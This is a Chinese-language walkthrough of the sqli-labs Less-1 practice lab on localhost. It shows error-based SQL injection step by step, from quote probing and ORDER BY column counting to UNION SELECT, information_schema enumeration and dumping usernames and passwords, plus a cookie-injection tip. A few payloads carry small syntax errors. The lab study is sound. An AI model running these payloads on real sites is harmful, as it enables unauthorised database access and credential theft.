预备知识
对 mysql 数据库有一定了解; 对基本的 sql 语句有所了解;
对 url 编码有了解: 空格 ='%20', 单引号 ='%27', 双引号 ='%22', 井号 ='%23'等
基本步骤
1. 判断是什么类型注入, 有没有过滤关键字, 是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本, 用户, 当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据
Less1, 基于错误的 GET 单引号字符型注入.
- (单引号, and 1=1,and 1=2,)
- http://127.0.0.1/sqli/Less-1/?id=2%27(宽字节注入)
错误提示: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
此时的注入语句为: SELECT * FROM users WHERE id='2'' LIMIT 0,1 (报单引号不匹配的错)
注释符常用的有两种:
1. -- ' 一定要注意在最后一个单引号前面有空格
2. # (空格 #空格)
第二步确定表的列数:
使用 order by 语句.
当试到'4'时, 出现报错信息, 可以知道该表有 3 列:
Unknown column '4' in 'order clause'
执行的 sql 语句是: SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1
第三步, 确定字段的显示位:
显示位: 表中数据第几位的字段可以 显示, 因为并不是所有的查询结果都 会展示在页面中, 因此需要探测页面 中展示的查询结果是哪一列的结果; 'union select 1,2,3 -' 通过显示的数字可以判断那些字段可以显示出来.
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,2,3 --'
可见 2,3 所在的字段可以显示
ps:id=-1, 使用 - 1 是为了使前一个 sql 语句所选的内容为空, 从而便于后面的 select 语句显示信息
第四步获取当前数据库信息
现在只有两个字段可以显示信息, 显然在后面的查询数据中, 两个字段是不够用, 可以使用 group_concat () 函数 (可以把查询出来的多行数据连接起来在一个字段中显示)
database() 函数: 查看当前数据库名称
version() 函数: 查看数据库版本信息
user(): 返回当前数据库连接使用的用户
- http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,database() 或者 version()),3 --'
- Your Login name:security5.5.53
- Your Password:3
可以知道当前数据库名为 security, 数据库版本为 5.5.53
第五步, 获取全部数据库信息 (表, 列信息)
Mysql 有一个系统的数据库 information_schema, 里面保存着所有数据库的相关信息, 使用该表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1, group_concat(schema_name),3 from information_schema.schemata --' 爆出所有数据库名字
以上命令可以获取到了所有的数据库信息 information_schema ,security(是例题中的数据库信息)
第六步: 获取 security 数据库中的表信息
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security'--'(一般情况下要最好将 security 使用 16 进制 hex 编码转换. 转换后记得要加 0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= '数据库的名' table_name 表信息
第七步: 获取 user 表的列
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,column_name,3 from information_schema.columns where table_name='users'limit0,1 --'(users 最好转换, I 春秋上介绍, 这句话的意思是查询 information_schema 数据库中 columns 表里的 column_name 字段 (就是表最上面的标题). 条件是 table_name 为 user
- Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
- Your Password:3
执行的 sql 语句是: SELECT * FROM users WHERE id='-1' union select 1,column_name, ,3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1 这个一般都要加, 加上去改变数字会导致不同
第八步: 获取数据
- http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,username,password,3 from users --'
- Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
- Your Password:3
Writeup, 我要先查到注入类型跟注入点, 然后用 order by 查询整个大数据库里表的列数, database() 显示的是当前页面所使用的数据库名称, shecm 这个是 mysql5.0 版本之后特有的一个数据库, 他包含了整个大数据库里所有数据库的表名跟列名. 然后用 union select 1,2,3... 查列显示位置是多少. 然后获取当前数据库的名字: union select 1,database()(写在显示位),3 -- '; 得到当前数据库名称后, 要找到当前数据库所有表信息, 然后对指定想要获取的数据库获取数据库表信息 (第六步), 然后获取指定表下面的列信息 union select 列 from 表
第二篇:
Information_schema: 存储 mysql 数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata: 存储 mysql 数据库下所有数据库的库名信息的表 (字段名为 schema_name 的字段值) 字段就是列名
information_schema.tables: 存储 mysql 数据库下所有数据库的表名信息的表 (字段名为 table_name: 表名
条件为 table_schema: 数据库名 )
information_schema.columns: 存储 mysql 数据库下所有数据库的列名信息的表 (字段名为 column_name: 的字段值))
cookie 注入: burp 里截取到用户 COOKIE 后, 将 ID = 多少再 referer 中 cookie 后面加分号之后填写上去, 再写入命令.
来源: http://www.bubuko.com/infodetail-2742642.html